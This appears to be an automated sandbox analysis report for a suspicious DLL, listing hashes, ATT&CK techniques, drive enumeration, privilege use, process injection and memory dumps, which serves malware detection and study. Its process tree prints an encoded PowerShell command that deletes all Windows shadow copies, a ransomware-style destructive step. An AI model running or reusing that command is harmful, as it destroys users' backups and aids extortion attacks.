c4c337b021cd645146f980c26bbe597d455faee8976aa47f8df22194d5be297e

General

Target

c4c337b021cd645146f980c26bbe597d455faee8976aa47f8df22194d5be297e.dll
Size

115KB
MD5

2941db9286c35c6f8a8cf32ee405d003
SHA1

89164e81a7f5b1d1167ae4c7608e660feaa60eca
SHA256

c4c337b021cd645146f980c26bbe597d455faee8976aa47f8df22194d5be297e
SHA512

65224b5ef04f8438901e748819e2c845e66bc2c1f29ce274014167367f085a0c8746fd7267c0dafb9650bd441f46dd1dc5c5185e74e24c49dd0449c944db690a

Score

6^/10

Malware Config

Signatures

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

rundll32.exe

description	ioc	process
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

rundll32.exepowershell.exe

pid process

1540 rundll32.exe
576 powershell.exe

pid	process
1540	rundll32.exe
576	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

Processes:

rundll32.exepowershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1540	rundll32.exe
Token: SeDebugPrivilege	576	powershell.exe
Token: SeBackupPrivilege	968	vssvc.exe
Token: SeRestorePrivilege	968	vssvc.exe
Token: SeAuditPrivilege	968	vssvc.exe

Suspicious use of WriteProcessMemory 11 IoCs

Processes:

rundll32.exerundll32.exe

description	pid	process	target process
PID 1480 wrote to memory of 1540	1480	rundll32.exe	rundll32.exe
PID 1480 wrote to memory of 1540	1480	rundll32.exe	rundll32.exe
PID 1480 wrote to memory of 1540	1480	rundll32.exe	rundll32.exe
PID 1480 wrote to memory of 1540	1480	rundll32.exe	rundll32.exe
PID 1480 wrote to memory of 1540	1480	rundll32.exe	rundll32.exe
PID 1480 wrote to memory of 1540	1480	rundll32.exe	rundll32.exe
PID 1480 wrote to memory of 1540	1480	rundll32.exe	rundll32.exe
PID 1540 wrote to memory of 576	1540	rundll32.exe	powershell.exe
PID 1540 wrote to memory of 576	1540	rundll32.exe	powershell.exe
PID 1540 wrote to memory of 576	1540	rundll32.exe	powershell.exe
PID 1540 wrote to memory of 576	1540	rundll32.exe	powershell.exe

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\c4c337b021cd645146f980c26bbe597d455faee8976aa47f8df22194d5be297e.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:1480

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\c4c337b021cd645146f980c26bbe597d455faee8976aa47f8df22194d5be297e.dll,#1
2⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1540

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:576

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:1944

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:968

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/576-56-0x000007FEFC261000-0x000007FEFC263000-memory.dmp

Filesize
8KB

Download
memory/576-58-0x00000000023B0000-0x00000000023B2000-memory.dmp

Filesize
8KB

Download
memory/576-60-0x00000000023B4000-0x00000000023B7000-memory.dmp

Filesize
12KB

Download
memory/576-59-0x00000000023B2000-0x00000000023B4000-memory.dmp

Filesize
8KB

Download
memory/576-57-0x000007FEF34B0000-0x000007FEF400D000-memory.dmp

Filesize
11.4MB

Download
memory/576-61-0x000000001B7E0000-0x000000001BADF000-memory.dmp

Filesize
3.0MB

Download
memory/576-62-0x00000000023BB000-0x00000000023DA000-memory.dmp

Filesize
124KB

Download
memory/1540-55-0x00000000769D1000-0x00000000769D3000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads